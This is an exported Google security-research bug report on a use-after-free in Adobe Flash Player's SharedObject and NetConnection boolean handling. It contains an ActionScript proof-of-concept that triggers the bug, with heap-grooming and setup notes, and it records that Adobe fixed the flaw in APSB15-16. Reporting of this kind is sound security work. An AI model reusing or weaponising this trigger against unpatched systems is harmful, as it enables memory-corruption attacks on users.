search

AN-Master / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Use-after-free when setting internal boolean #356

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
In certain cases where a native AS2 class sets an internal atom to a Boolean, 
it can lead to a use-after-free if the variable is a SharedObject. While this 
example shows setting NetConnection.isConnected, this applies to a few other 
variables in NetConnection, NetStream and other classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "natalie"};
s.data.isConnected = o;
flush();
ASnative(2100, 200)(s.data);
trace(s.data.isConnected);
var n = new NetConnection();
n.connect.call(s.data, x);
n.close.call(s.data);
trace(s.data.isConnected);
s = 1;

for(var i = 0; i < 100; i++){
    var b = new flash.display.BitmapData(100, 1000, true, 1000);
    }
setInterval(c, 1000);
function c(){   
    trace("here");
    ASnative(252, 1).call(o); //Array push
}

A fla, an AS file and two swfs are attached. setboolean.fla compiles to 
setboolean.swf and contains the code that causes the use-after-free. loadswf.as 
compiles to loadswf.swf, and sets up the heap to cause a crash. To make the 
issue occur, put loadswf.swf and setboolean.swf in the same folder on a 
webserver (the PoCs don't always work locally due to flash network sandboxing), 
and load loadswf.swf. This PoC only works on 64-bit systems, but the issue 
would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 May 2015 at 7:25

Attachments:

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 4 May 2015 at 7:40

GoogleCodeExporter commented 8 years ago 
This is PSIRT-3650

Original comment by natashe...@google.com on 5 May 2015 at 7:52

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 5 Jul 2015 at 6:31

GoogleCodeExporter commented 8 years ago 
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 3 Aug 2015 at 9:41